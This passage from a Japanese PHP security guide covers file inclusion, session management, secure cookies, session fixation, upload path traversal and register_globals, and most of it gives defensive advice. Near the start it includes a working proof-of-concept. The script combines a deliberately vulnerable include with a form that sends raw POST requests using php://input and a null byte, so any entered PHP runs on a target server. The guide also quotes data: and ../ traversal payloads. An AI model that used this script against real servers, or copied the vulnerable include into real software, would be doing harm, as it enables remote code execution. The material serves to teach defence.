以上の問題は、allow_url_fopenOff になっていた場合、外部サーバにある PHP スクリプトを実行することはできませんが、/etc/passwd など、ローカルファイルにある重要なファイルを読み込んで表示してしまう可能性があります。include()require() に渡す引数は十分な入力チェックを行ってください。

また、include()require() の引数に php://input を渡されると、POST の内容を PHP スクリプトとして実行してしまう問題もあります。これは、[PHP] include() bypassing filter with php://input (2004.05.30 の過去ログ)でまとめていますが、この場合、外部にサーバを用意しなくても任意のスクリプトを実行することが可能です。必ず、php://inputinclude()require() の引数として渡らないようにチェックを行ってください。

php://input によって、POST の内容が PHP スクリプトとして実行されてしまうという機能は 2006.01.04 時点の最新版である、PHP 4.4.1 や PHP 5.1.1 でも変更されていません。

検証コードは以下のようになります。send ボタンを押すと、exec のテキストボックスで入力されている内容が対象のサーバで実行されます。

<?php
if ( isset( $_GET['include'] ) ) {
    include( $_GET['include'] . '.php' );
    exit;
}
?>
<form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post">
<div>target server : <input type="text" name="server" value="127.0.0.1" /></div>
<div>file : <input type="text" name="file" value="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>?include=" /></div>
<div>exec : <input type="text" name="cmd" value="<?php echo htmlspecialchars( '<?php phpinfo() ?>' ) ?>" /></div>
<input type="submit" value="send" />
</form>
<?php
if ( ! empty( $_POST ) ) {
    $file   = ! empty( $_POST['file'] )   ? $_POST['file']   : '';
    $server = ! empty( $_POST['server'] ) ? $_POST['server'] : '';
    $cmd    = ! empty( $_POST['cmd'] )    ? $_POST['cmd']    : '';

    $message  = "POST " . $file . "php://input%00 HTTP/1.1\r\n";
    $message .= "Host: " . $server . "\r\n";
    $message .= "Content-length: " . strlen( $cmd ) . "\r\n";
    $message .= "Connection: close\r\n\r\n";
    $message .= $cmd . "\r\n";

    $fp = fsockopen( $server, 80 );
    fputs( $fp, $message );
    while ( ! feof( $fp ) ) { echo fgets( $fp ); }
    fclose( $fp );
}
?>

章の最初へ | 目次へ

c. 対処方法

以下のような入力チェックを行い、想定外の入力を受け付けないようにしてください。以下の内容を組み合わせて想定した入力内容になっているかどうかを確認するとより安全性が高くなると思います。

他にもいろいろな対処方法が考えられます。必要と考えられる確認を行ってから変数を使用してください。

章の最初へ | 目次へ

d. 問題のあるパス・トラバーサル対策

章の最初へ | 目次へ

e. allow_url_fopen を Off にする対処についての注意

php.ini の設定で allow_url_fopenOff にして、PHP から外部へのアクセスを禁止すれば include()require() で外部のスクリプトを読み込むことはできないので安全と考えている人がいるかもしれませんが、この設定を行えば安全というものではありません。PHP 5.2.0 以前の場合、allow_url_fopenOn/Off に係わらず、十分な入力チェックを行ってください。PHP 5.2.1 以降の場合は、allow_url_include の設定を無効にしておけばこのほとんどの場合、問題にはならないと思います。

以下の問題があります。

章の最初へ | 目次へ

f. allow_url_include

PHP 5.2.0 から php.ini の設定に allow_url_include が追加されました。デフォルトでは無効に設定されています。

この設定が有効になっている場合のみ、include()include_once()require()require_once() で URL 対応の fopen ラッパーが使用できるようになります。

PHP 5.2.0 では、allow_url_include を無効にしても data: および php: ストリームラッパーは使用可能であり、include()php://inputdata:text/plain;charset=,<?php phpinfo() ?> のような文字列を埋め込むことで、リモートから PHP スクリプトを実行させることが可能でした。

PHP 5.2.1 からは、allow_url_include = Off にしておけば data: および php: のストリームラッパーも無効になります。通常、include() などで外部から PHP ファイルなどを読み込んで実行するということはないと思いますので、必ず無効に設定しておくべき設定だと思います。

章の最初へ | 目次へ

g. PHP のコード評価関数での問題について

PHP では、以下のように文字列をコードとして評価する、または、コールバック関数を動的に作成して適用する関数が存在します。一部を挙げると、以下のような関数があります。

これらの関数は便利ですが、PHP のコード生成や、コールバック関数名に外部からの入力を使用している場合、入力変数が想定通りになっていることを確認してから変数を使用してください。判定文には、switch や正規表現などを利用すれば良いと思います。

特に、eval() 関数などは可能であれば、使用しないようにした方が安全です。eval() 関数により PHP コードが実行されてしまうという問題のあったアプリケーションやライブラリも多く、コードが想定内であるかどうかを判断するのは非常に難しいと考えられます。

章の最初へ | 目次へ

h. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


PHP でセッション変数、Cookie を使用する際のセキュリティ対策について

  1. セッション変数について
  2. PHP のセッション処理の動作
    1. セッションの開始
    2. セッションの終了
    3. セッションの有効期間
    4. ガーベージ・コレクション
  3. Cookie の secure 属性
  4. Cookie Path
  5. セッション ID の変更
  6. セッション・タイムアウトへの対処
  7. セッション関連の処理で注意すべきクロスサイトスクリプティング問題
  8. セッションハイジャック対策の一例
  9. Session Fixation(セッション固定)攻撃
    1. Session Fixation 攻撃を起こす方法
    2. 参考サイト
  10. 参考サイト

a. セッション変数について

Web ページ間で変数を保持する方法として、フォームの hidden フィールドや Cookie、セッション変数などが使用可能ですが、重要なデータの受け渡しを行う場合、セッション変数を使用します。

セッション変数は、ユーザから送信された重要情報をサーバ側で保存し、代わりに、Cookie や、GET 変数、POST 変数にセッション ID と呼ばれる、一般的に推測しにくい文字列をクライアントに持たせることでセッションを維持します。これにより、重要なデータを他のユーザに参照されたり、改ざんされたりする可能性を低くすることができます。

セッションを使用する際のセキュリティ問題としては、セッション ID を他のユーザに盗まれるセッションハイジャックという問題があります。セッション ID は、ブラウザのバグや、クロスサイトスクリプティングによって他のユーザに盗まれる可能性があります。Web アプリケーションでセッション ID を使用する場合は、簡単にセッション ID を盗まれないようにできる限りの対策を行う必要があります。

章の最初へ | 目次へ

b. PHP のセッション処理の動作

セッションについての一般的な機能については、PHP マニュアル : セッション処理関数(session) を参照してください。セッション変数を使用する際の PHP の動作について十分理解しておいた方が良いと思いますので、あまり PHP マニュアルで触れられていない部分と重要だと思われる部分についてまとめてみました。

PHP でのセッション処理はバージョンによって少し違いがありますので注意してください。また、session_set_save_handler() を使用して、独自のセッション処理を行う場合は参考にならない部分があります。ここでは、PHP 4.3.9 で確認した動作についてまとめておきます。

i. セッションの開始

PHP でセッション変数を使用する場合、session_start() 関数を呼び出す必要があります。もし、php.ini で session.auto_start"1" に設定した場合、自動的にセッションが開始されますので session_start() を呼び出す必要はありません。

セッションの開始時には、以下の処理が行われます。

スクリプトの終了時(出力時)には以下の処理が行われます。

セッション変数を保存する領域は、以下の設定によって決定されます。デフォルトでは、/tmp に sess_dbfca507eb62b716bc2b8296159ccb15 (sess_ と セッション ID)のようなファイルが作成されます。

セッション ID は Cookie -> GET -> POST の順で session.name(デフォルトでは "PHPSESSID") で指定されたキーを検索します。例えば、Cookie($_COOKIE['PHPSESSID']) と GET 変数($_GET['PHPSESSID'])に別のセッション ID が指定されていた場合、Cookie のセッション ID が優先されます。

また、PHP 4.3.0 から導入された session.use_only_cookies"1" に設定すると、セッション ID として Cookie のみを確認するようになります。これは、PHP マニュアルでは、セッション ID を URL に埋め込む攻撃を防ぐためとされています(セッション処理関数(session) session.use_only_cookies)。セッションを Cookie のみで管理するのであれば、session.use_only_cookiesOn に設定しておくと、Session Fixation 攻撃を防止できる可能性が高くなります(クロスサイト・スクリプティングが可能な場合は Cookie の内容を改ざんされる可能性がありますので、絶対に安全というわけではありません)。この設定を行うと、session.use_trans_sid の機能は無意味になりますので、その場合は session.use_trans_sid を無効にしておくと良いと思います。

GET にセッション ID を含めることの問題点については、PHP マニュアルで以下のように解説されています。

URL に基づくセッション管理は、Cookieに基づくセッション管理と比べてセキュリティリスクが大きくなります。例えば、ユーザは、emailにより友人にアクティブなセッションIDを含むURLを送信する可能性があり、また、ユーザは自分のブックマークにセッションIDを含むURLを保存し、常に同じセッションIDで使用するサイトにアクセスする可能性があります。

PHP マニュアル: セッション処理関数(session) session.use_trans_sid

最後に、session.use_trans_sid についてですが、PHP 4.3.1 以下のバーションでは、セッション ID にタグを含めるとクロスサイトスクリプティングが可能になってしまう問題が報告されていますので、PHP 4.3.1 以下では、session.use_trans_sid を有効にしないでください。

ii. セッションの終了

明確にセッションが終了したと判定することは難しいですが、ユーザがセッションの終了を宣言(例えば、ログアウトするなど)した場合は、session_destroy() 関数を呼び出すことで、サーバに保存されたセッション情報が破棄されます。

PHP マニュアル : session_destroy() によると、セッションに関するグローバル変数や、セッション Cookie は破棄しないとされています。実際に、session_destroy() が呼び出された後も、同じセッション ID が継続して使用されます。

完全にセッションを破棄する場合は、PHP マニュアルの例に従って処理を行います。

例 1. $_SESSIONでセッションを破棄する

<?php
// セッションの初期化
// session_name("something")を使用している場合は特にこれを忘れないように!
session_start();

// セッション変数を全て解除する
$_SESSION = array();

// セッションを切断するにはセッションクッキーも削除する。
// Note: セッション情報だけでなくセッションを破壊する。
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time()-42000, '/');
}

// 最終的に、セッションを破壊する
session_destroy();
?> 

PHP マニュアル: session_destroy

また、session.save_handler にデフォルトの "files" が指定されていた場合、ガーベージ・コレクションによって削除されるまでセッション情報のファイルは空のままで残ったままになります。もし、セッションが破棄された時に削除したい場合は、以下のようにすれば削除可能です。

$session_id = session_id();
if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) {
    $session_file = session_save_path() . '/sess_' . $session_id;
    if ( is_file( $session_file ) ) {
        unlink( $session_file );
    }
}
else {
    trigger_error( 'Session ID is invalid.', E_USER_ERROR );
    exit;
}

session_id() の返り値は外部からの入力により改ざん可能ですので、session_id() の値が期待通りかどうかを確認してから使用してください。上記のコードのように、不正な値の場合は、エラーとして処理を終了させた方が安全です。詳しくは、セッション関連の処理で注意すべきクロスサイトスクリプティング問題を参照してください。

iii. セッションの有効期間

session.save_handler"files" になっている場合、セッションの有効期間はガーベージ・コレクションによって、保存されているセッション情報のファイルが削除されるまでが有効期間になります。ガーベージ・コレクションが起動せず、セッションのファイルが残っている場合は、経過時間に関係なくセッションは有効になったままになります。

確率は低いですが、session.gc_maxlifetime で設定された秒数を過ぎたセッションを読み込み、同時にガーベージ・コレクションが起動した場合、そのアクセスでのセッションは継続しますが、次のアクセスではセッション切れになります。

iv. ガーベージ・コレクション

ガーベージ・コレクションは、session.gc_maxlifetime (デフォルト: 1440秒)で設定した秒数を過ぎたセッション情報のファイルを削除する処理を行います。この処理は、セッション開始時に session.gc_probability (デフォルト: 1) を session.gc_divisor (デフォルト: 100)で割った確率で起動します。

php.ini で特に設定していない場合は、100 分の 1 の確率でガーベージ・コレクションが起動します。また、PHP 4.3.9 の php.ini-recommended をコピーして、php.ini として使用した場合、1000 分の 1 に設定されています。

章の最初へ | 目次へ

Cookie には secure 属性という属性を設定することができます。Cookie に secure 属性を設定すると、ブラウザは、SSL を使用した https による通信時のみ Cookie の内容を送信し、http 通信時には Cookie の内容を送らないようになります。

重要な個人情報などを扱う場合、https 接続を行うことで、サーバ自体の認証と通信内容の暗号化を行うことができますが、通常は http 接続を行い、個人情報を入力する時のみ、https 接続を行っているサイトが多いと思います。このようなサイトで、https 接続と http 接続で同じセッション ID を使用していては、通信内容を暗号化している意味がありません。また、暗号化されていない http の通信でセッション ID を盗聴されてしまった場合、なりすましによって個人情報を読みとられてしまう可能性があります。

この問題については、Cookie盗聴によるWebアプリケーションハイジャックの危険性とその対策(SecurIT - 産業技術総合研究所 セキュアプログラミング研究チーム) や、経路のセキュリティと同時にセキュアなセッション管理を(IPA)で詳しい説明があります。

この問題を回避するために、https で接続する際には Cookie には secure 属性を付けて Cookie を発行します。PHP 4.0.4 から Cookie の secure 属性を付けることができるようになっています。

以下のように、Cookie の secure 属性を付けるにはいくつか方法があります。

セッション ID に関しては、既に発行されている Cookie の secure 属性を変更することはできません。もし、その必要があるのであれば、セッション ID を変更し、secure 属性付きで Cookie を再発行する必要があります。PHP では、4.3.2 以降で導入された session_regenerate_id() を使用することでセッション ID を変更することができます。セッション ID の変更方法については セッション ID の変更で説明します。

章の最初へ | 目次へ

Cookie には Path を設定することができます。Cookie Path は、共用サーバでは必ず設定してください。

例えば、Cookie Path を設定することで、

http://www.example.com/user1/

と、

http://www.example.com/user2/

で、別のセッション ID を使用することが可能です。Cookie Path を設定するには、session_set_cookie_params() の第2引数で Path を指定し、その後、session_start() を呼び出します。

session_set_cookie_params( 1000, '/user1/' );
session_start();

Cookie Path の最後のスラッシュは忘れずに付けてください。ブラウザはディレクトリパスと前から一致した Cookie を送信することになっていますので、/user1 と設定すると、/user10 でも /user1 の Cookie が送信されることになってしまいます。

もし、Cookie Path を指定しない、または / のみになっていた場合、Cookie を発行したドメインの全てのディレクトリで同じ Cookie を送信することになります。このため、共用サーバで、同じドメイン(ここでは www.example.com)を複数のユーザが共用していた場合、他人が管理している CGI に対してもセッション ID を送信してしまう可能性が高くなります。

他人が管理している CGI で Cookie の内容を記録していたとすると、リンクや掲示板への書き込みなどで、Cookie を記録する CGI に誘導することができれば、Javascript などを利用しなくても簡単にセッション ID を盗聴することができます。

ただ、残念なことに、Cookie Path を正しく設定しても、一部のブラウザでは少し細工をするだけで Cookie Path の設定を回避することができます。詳しくは、Multiple Browser Cookie Path Directory Traversal Vulnerability(2004.03.14 の過去ログ)にまとめていますので、そちらを参照してください。

Cookie Path の問題は、独自ドメインを取得し、ドメインの全てのディレクトリを管理している状態であれば、あまり気にする必要はありません。反対に、ドメインを共用する場合、セッションの盗聴を防ぐのは非常に難しいです。重要なデータをセッションによって管理する必要がある場合には、最低でも専用のドメインを取得すべきです。

章の最初へ | 目次へ

e. セッション ID の変更

http 通信では、Cookie も暗号化されずにネットワークを流れるため、同じセッション ID を長時間使い続けると、他人に知られてしまったり、盗聴されたりする危険性が高くなります。定期的にセッション ID を変更ことでその危険性を低くすることができます。

また、e コマースサイトなどのように、http 通信で入力したセッション情報を保持したまま https に移行したいということもあるかもしれません。Cookie の secure 属性を付けて発行する場合、http 通信と同じセッション ID は使用できませんので、セッション ID を変更する必要があります。

PHP 4.3.2 以降であれば、session_regenerate_id() を使用することでセッション ID を変更することができます。使い方は、以下のように session_start() の後に呼び出すだけです。

session_start();
session_regenerate_id();

PHP 4.3.2 でセッション ID の管理に Cookie を使用している場合は、変更されたセッション ID が送信されないというバグが報告されていますので、PHP 4.3.2 を使用している場合は気を付けてください([PHP-users 20127]Re: session_regenerate_idについて,PHP マニュアル: session_regenerate_id() 例1の注意)。

PHP 4.3.1 以下でも session_regenerate_id() を使用するための代替関数が、PHP マニュアル: session_regenerate_id() の User Contributed Notes や、PHP-users メーリングリストの [PHP-users 17602]Re: session_regenerate_id()の挙動についてに投稿されています。

また、session_regenerate_id() は、一つ前に使用していたセッション情報を削除しないことに注意してください。session_regenerate_id() は、新しく別の領域にセッション情報を保存しますが、前のデータを削除しないため、古いセッション情報は残ったままになります。古いセッション情報は、使用可能な状態になっていますので、単純に session_regenerate_id() を呼び出せば良いというものではありません。必要に応じて以下のような対策を行ってください。

  1. 古いセッション情報を明示的に削除

  2. セッションの有効期間(session.gc_maxlifetime)を短くし、ガーベージ・コレクションが起動する確率を上げる(session.gc_probabilitysession.gc_divisor の値を調整する)

2. はガーベージ・コレクションを頻繁に起動することになるため、サーバ負荷が高くなるという問題と、ユーザ側でセッション切れが起こりやすくなるという問題があります。セッション切れを可能な限り回避する方法としては、セッション・タイムアウトへの対処も参考にしてください。

1. の古いセッション情報を削除する方法として、PHP 5.1.0 以降の場合は、session_regenerate_id() の第1引数にオプションが設定されています。これを TRUE にすると、セッション情報を削除するようになっています。PHP 5.1.0 を使用している場合は、session_regenerate_id( TRUE ) を実行するだけで自動的に古いセッション ID は削除されます。

詳しくは、以下を参照してください。

もし、PHP 5.1.0 より前のバージョンで、session.save_handler"files" である場合、以下のようにします。もし、独自のセッションハンドラを使用している場合は、それに合わせて実装を行ってください。

session_start();
$session_id = session_id();
session_regenerate_id();
if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) {
    $session_file = session_save_path() . '/sess_' . $session_id;
    if ( is_file( $session_file ) ) {
        unlink( $session_file );
    }
}
else {
    trigger_error( 'Session ID is invalid.', E_USER_ERROR );
    exit;
}

注意:session_id() には不正な値が含まれている可能性がありますので、この値を使用する際は、不正な値("/", "\", ">", "<"など)が含まれていないか必ずチェックを行ってください。上記のように、不正な値が含まれている場合は、エラーとして終了した方が安全です。

章の最初へ | 目次へ

f. セッション・タイムアウトへの対処

session.maxlifetime で設定した秒数以上の時間、ユーザからのアクセスがない上で、ガーベージ・コレクションによってセッション情報が削除されてしまった場合、セッション・タイムアウトとなります。特に、ユーザがシステムにログインした状態で多くのデータを入力する必要があった場合、セッション・タイムアウトが起こる可能性が高くなります。この対処として、session.maxlifetime の秒数を増やすという方法は、セッション ID の漏洩があった場合、悪用される危険性が高くなりますので、良い方法ではありません。

ユーザがあるページをブラウザを開いている間は、できる限りセッションを継続させる方法として、「ハートビート」という方法があります。詳しくは、IPA セキュアプログラミング大全の第 5章 セキュアVBScript/ASPプログラミング [5-3.] セッションタイムアウトを参照してください。

PHP では、以下のようなセッション継続用のファイルを用意します。このファイルを読み込む frame や iframe を見えない場所に置き、一定時間ごとにアクセスすることでセッション・タイムアウトを防ぎます。例えば、session.maxlifetime はデフォルトで 1440 秒になっていますので、1440 秒以下の間隔でアクセスを行えばセッション・タイムアウトを防ぐことができます。1200 秒ごとにサーバにアクセスするには以下のようにします。

<?php
session_start();
?>
<html>
<head>
<meta HTTP-EQUIV="Refresh" CONTENT="1200">
</head>
<body>
</body>
</html>

これによって、session.maxlifetime を短くしても、セッション・タイムアウトが起こる可能性を低くすることが可能になります。また、session.maxlifetime を短くすることは、あるユーザのセッション ID が漏洩したとしても、ユーザが被害を受ける可能性が低くなります。

あまり短い時間でサーバにアクセスを行うとサーバ側の負荷が高くなりますので、Refresh の秒数と session.maxlifetime の値をどの程度にするかは調整が必要です。

章の最初へ | 目次へ

g. セッション関連の処理で注意すべきクロスサイトスクリプティング問題

セッションを使用するときには、以下の点に気を付けないと、クロスサイトスクリプティング問題を引き起こす可能性がありますので、注意してください。

章の最初へ | 目次へ

h. セッションハイジャック対策の一例

セッションハイジャック対策(2005.07.17 の過去ログ) のまとめ直しです。

Question about session hijacking (DevNetwork Forums) の議論で、Web アプリケーションへのアクセス中に、ブラウザの User AgentAccept Charset などの HTTP リクエストヘッダを変更するような人はほとんどいないという事を利用して、以下のような関数が挙げられていました(この関数はセッション管理クラスの中で使用されることを想定しているようですので、このままでは使えません)。

// get the fingerprint of the user
function getFingerprint()
{
    $fingerprint = $this->secret;
    if (array_key_exists('HTTP_USER_AGENT', $_SERVER)) 
    {
        $fingerprint .= $_SERVER['HTTP_USER_AGENT'];
    }
    if (array_key_exists('HTTP_ACCEPT_CHARSET', $_SERVER))
    {
        $fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET'];
    }
    $fingerprint .= session_id();
    $fingerprint = md5($fingerprint);
    return $fingerprint;
}

フィンガープリントを取得し、違う場合はログに書き込む、またはエラーメッセージを返すなどの対処を行うことでセッションハイジャックを防止するという考え方です。この方法では、セッション ID を盗まれたとしても、盗んだ相手の User AgentAccept Charset を同じにしなければセッションハイジャックとして検出されます。これらの HTTP リクエストヘッダの情報までスニッファなどで盗聴された場合はこの対策は無意味ですが、Javascript などによるセッション ID の盗聴であれば検出できる可能性が高くなります。

セッションハイジャック対策としては、IP アドレスチェックを行う場合もありますが、Proxy を使用しているユーザの場合、IP アドレスが変更されたり、別のユーザと重複することも多いという問題があります。それに対して、User AgentAccept Charset をアクセス毎に変更するブラウザは少ないと思います。

実装例としては以下のようにセッション開始時にフィンガープリントの妥当性をチェックします。

function get_fingerprint()
{
    // 何か適当な秘密の文字列(サーバ名やアプリケーション名などでも良いと思いますが、推測できない方が良いと思います)
    $fingerprint = 'secret';

    if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
        $fingerprint .= $_SERVER['HTTP_USER_AGENT'];
    }
    if ( ! empty( $_SERVER['HTTP_ACCEPT_CHARSET'] ) ) {
        $fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET'];
    }
    $fingerprint .= session_id();
    return md5( $fingerprint );
}

// セッションの開始
session_start();

if ( ! isset( $_SESSION['fingerprint'] ) ) {
    // トップページ(ログインページへ移動)
    exit;
}

$fingerprint = get_fingerprint();
if ( $fingerprint !== $_SESSION['fingerprint'] ) {
    // セッションハイジャックを検出
    // ログの書き出し、エラー処理
    exit;
}
// フィンガープリントをセッションに登録
$_SESSION['fingerprint'] = $fingerprint;

// 続きの処理

(2006.06.20 修正)

上記のコードの一部が間違えていたので修正しました($_SERVER['fingerprint'] => $_SESSION['fingerprint'])。指摘してくださった方、どうもありがとうございました。

セッション開始時にフィンガープリントの取得と一致するかの評価を行うだけですので、この方法であれば、既に作成済みの Web アプリケーションに組み込むのも簡単です。厳密にセッションハイジャックを防止するのは困難ですが、簡単なセッションハイジャック対策の一つとしては有効かもしれません。

章の最初へ | 目次へ

i. Session Fixation(セッション固定)攻撃

正当なユーザが使用するセッション ID を攻撃者が指定することにより、攻撃者にセッション ID を知られた状態になってしまう問題です。正当なユーザが攻撃者が指定したセッション ID のまま、Web アプリケーションにログインした場合、攻撃者もログインした状態になり、個人情報を盗み見られたり、データを書き換えられるなど、場合によっては危険な操作をされる可能性があります。

(2006.08.31 修正) 以下の記述は間違っていました。これでは Session Fixation に対処したことにはなりません。指摘したくださった金床さん、どうもありがとうございました。

この問題を簡単に解決する方法としては、session_regenerate_id() を使用する方法があります。例えば、以下のように、session_start() を実行した後、セッション変数が設定されていない場合、session_regenerate_id() を実行します。

<?php
session_start();
if ( ! isset( $_SESSION['initiated'] ) ) {
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}
?>

Session Fixation(PHP Security Guide: Sessions) より引用。

(2006.08.31 追加)

上記の方法では、先に攻撃者が攻撃対象のサーバでセッションを発行させ、そこで得たセッション ID をそのサーバの正当なユーザに指定してサーバに誘導することで、Session Fixation 攻撃が可能です。

この対処方法としては、以下の方法が考えられます。

また、以下の対策を行うことでも、Session Fixation 攻撃の可能性を低くすることが可能です。上記と組み合わせることで、より安全なセッション管理を行うことができるかもしれません。

i. Session Fixation 攻撃を起こす方法

上の対処方法を使用すれば PHP では Session Fixation 攻撃は回避できると考えられますが、Session Fixation が起きる条件について考えてみました。推測で書いている部分がありますので、間違いがあるかもしれません。参考程度ということにしてください。

ii. 参考サイト

章の最初へ | 目次へ

j. 参考サイト

章の最初へ | 目次へ

▲ 目次へ


ファイルアップロードについて

  1. PHP でのファイルアップロード処理
  2. .php でない拡張子でも PHP が実行される問題
  3. PHP 4.3.8 以前に任意の場所にファイルをアップロードされる可能性がある問題
  4. PHP 4.1.1 以前のバージョンにファイルアップロード処理にセキュリティホールがある問題

a. PHP でのファイルアップロード処理

PHP では、簡単にアップロードされたファイルを扱うための機能が提供されています。ファイルアップロード処理を行う際には、PHP マニュアル: ファイルアップロードの処理は必ず読むようにしてください。

基本的なファイルアップロード処理としては $_FILES の配列を使用して is_uploaded_file() でアップロードされた一時ファイルが正しいかどうかを確認し、move_uploaded_file() で任意のディレクトリに移動させることでファイルアップロードを行います。

ただし、PHP 4.3.8 以前では PHP マニュアルの例のまま処理を行っていた場合、任意の場所にファイルをアップロードされる可能性のある問題が報告されています。

章の最初へ | 目次へ

b. .php でない拡張子でも PHP が実行される問題

[Full-disclosure] Bug with .php extension? で指摘されていたのですが、サーバ上に test.php.rar という PHP のコードが書かれたファイルが存在していて、http://www.example.com/test.php.rar のようにアクセスされた場合、ダウンロードされるのではなく、PHP のコードとして実行されてしまうという問題です。

これは、Apache の mod_mime の仕様(Apache mod_mime モジュール: 複数の拡張子のあるファイル)だそうです。

PHP では、ファイルアップロードを受け付けるスクリプトで、ファイル名をそのまま保存する場合、任意の PHP スクリプトが実行されてしまう可能性があります。以下の全てに該当する場合は危険です。

  1. ファイルアップロードを受け付けている

  2. ファイルアップロード時に指定されたファイル名のまま保存している

  3. そのファイルに直接アクセスを許可している

この問題の対処方法としては、アップロードされたファイル保存時にタイムスタンプや sha1() などのハッシュ関数などにより、ファイル名を変更する方法があります。

通常、CGI は実行権限が必要ですが、PHP は Apache モジュールで実行されている場合、実行権限が不要なため、拡張子を偽って PHP スクリプトをアップロードされた場合に攻撃が成功してしまう可能性が高いと考えられますので、ファイルアップロードを受け付けている場合は注意してください。

章の最初へ | 目次へ

c. PHP 4.3.8 以前に任意の場所にファイルをアップロードされる可能性がある問題

ファイルアップロード時のセキュリティホールとして、以下の2つの問題が報告されています。詳細については、以下のページでまとめていますので、そちらを参照してください。

PHP 4.3.6 以前では、$_FILES['form_name']['name'] に、.. を含めることが可能であり、PHP 4.3.7 で .. が含まれていた場合は削除されるように修正されたのですが、別の問題により、PHP 4.3.6 以前と同じように、$_FILES['form_name']['name'].. を含めることが可能になってしまうという問題です。

この問題は、$_FILES['form_name']['name'].. が含まれた場合、PHP マニュアルに書かれていたサンプル通りに処理が行われていた場合、httpd に書き込み権限がある任意のディレクトリにファイルをアップロードされてしまう可能性があります。

既に英語版の PHP マニュアルでは修正されていますが、以下の例が示されていました。この例の通りにファイルのアップロード処理を行っていた場合、問題になります。※現在は修正されています。

例 20-2. ファイルのアップロードを検証する

...

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir. $_FILES['userfile']['name'];

print "<pre>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
   print "File is valid, and was successfully uploaded. ";
   print "Here's some more debugging info:\n";
   print_r($_FILES);
} else {
   print "ファイルアップロード攻撃をされた可能性があります。デバッグ関連情報:\n";
   print_r($_FILES);
}

?>

PHP マニュアル: ファイルアップロードの処理

この例で、$_FILES['userfile']['name'] に、../../../filename という形で、.. が含まれた変数が入力された場合、そのディレクトリに書き込む権限があれば、ファイルアップロードが成功してしまいます。

この問題に対する対策として、basename() を使用する方法が挙げられており、PHP マニュアルの英語版では、既に以下のように修正されています。

$uploadfile = $uploaddir. basename($_FILES['userfile']['name']);

basename() を使用する以外にも、$_FILES['form_name']['name'] をそのまま使用せず、正規表現で期待通りの文字列で構成されているかどうかをチェックするようにしても問題ありません。

章の最初へ | 目次へ

d. PHP 4.1.1 以前のバージョンにファイルアップロード処理にセキュリティホールがある問題

PHP 4.1.1 以前には、以下のように、ファイルアップロード処理に非常に危険なセキュリティホールが存在します。

この問題は PHP スクリプト側では対処できません。問題が修正されていないバージョンは使用しないでください。

章の最初へ | 目次へ

▲ 目次へ


register_globals に関する問題

  1. register_globals について
  2. register_globals が On の環境でも Off と同様の状態にする方法
  3. $GLOBALS 変数に関するセキュリティ問題

a. register_globals について

register_globalsOn になっている場合、ブラウザから受け取った GET、POST、Cookie などの変数を自動的にグローバル変数に登録します。しかし、register_globals はグローバル変数汚染の問題から Off にすることが推奨され、PHP 4.2.0 以降ではデフォルトで Off になっています。

register_globals の弊害については、PHP マニュアル: グローバル変数の登録機能の使用法を参照してください。

章の最初へ | 目次へ

b. register_globals が On の環境でも Off と同様の状態にする方法

PHP Manual: Miscellaneous Questions: How do I deal with register_globals? で以下のような register_globals = off をエミュレートする実装例があります。

<?php
// Emulate register_globals off
function unregister_GLOBALS()
{
   if (!ini_get('register_globals')) {
       return;
   }

   // Might want to change this perhaps to a nicer error
   if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) {
       die('GLOBALS overwrite attempt detected');
   }

   // Variables that shouldn't be unset
   $noUnset = array('GLOBALS',  '_GET',
                     '_POST',    '_COOKIE',
                     '_REQUEST', '_SERVER',
                     '_ENV',    '_FILES');

   $input = array_merge($_GET,    $_POST,
                         $_COOKIE, $_SERVER,
                         $_ENV,    $_FILES,
                         isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
  
   foreach ($input as $k => $v) {
       if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) {
           unset($GLOBALS[$k]);
       }
   }
}

unregister_GLOBALS();

?> 

PHP の古いスクリプトでは register_globals = On であることが前提となっているものもあり、互換性への配慮から php.ini や .htaccess などで register_globals = On に設定されていることがあります。設定を変更して Off にできれば良いのですが、設定ファイルを変更するような権限がない、または事情により、変更できない場合、上記のスクリプトで register_globalsOff になっているのと同様の状態にすることができます。

章の最初へ | 目次へ

c. $GLOBALS 変数に関するセキュリティ問題

PHP 4.4.0 以前と PHP 5.0.5 以前のバージョンで register_globals = On にしていると、$GLOBALS 変数を上書きされるというセキュリティ問題が報告されています。また、import_request_variables() 関数、extract() 関数、parse_str() 関数、foreach などでも $GLOBALS 変数の上書きの可能性がありますので、注意してください。特に、register_globals = On の状態で PEAR を使用している場合、任意の PHP コードを実行することが可能です。この場合は危険ですので、PHP 4.4.1 以上、PHP 5.1.0 にバージョンアップするか、セキュリティ問題の修正 Patch を適用してください。

PHPの現行リリースに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) - まとめ(yohgaki's blog) でこの問題についてかなり詳しくまとめられています。

章の最初へ | 目次へ

▲ 目次へ


PHP を使用していることを隠蔽する

  1. PHP を隠蔽する必要性
  2. PHP の設定
  3. Apache の設定
  4. 参考サイト

a. PHP を隠蔽する必要性

PHP を使用していることやバージョンを隠したとしても、セキュリティ対策になるとは言えませんが、Web サーバのバージョンや含まれているモジュールを見て攻撃を行うようなワームが出現したこともありますので、不必要な情報を提供しない方が良いと思います。

Web サーバとして Apache を使用している場合の設定と、PHP を使用していることを隠蔽する設定方法を挙げておきます。

章の最初へ | 目次へ

b. PHP の設定

PHP は通常、HTTP のレスポンスヘッダに以下のような行を出力します。

X-Powered-By: PHP/4.3.9

これを出力しないように設定するには、php.ini で以下の設定を行います。

expose_php = Off

また、外部に公開しているサーバで、PHP のエラーを表示すると、PHP を使用していることが分かってしまったり、ディレクトリ構成や SQL で使用しているデータベース名やテーブル名など、重要な情報が漏れることがありますので、以下のように設定しておくと良いと思います。

display_errors = Off

運用で使用しているサーバでは、ログを見て、エラーが発生していないかを確認してください。

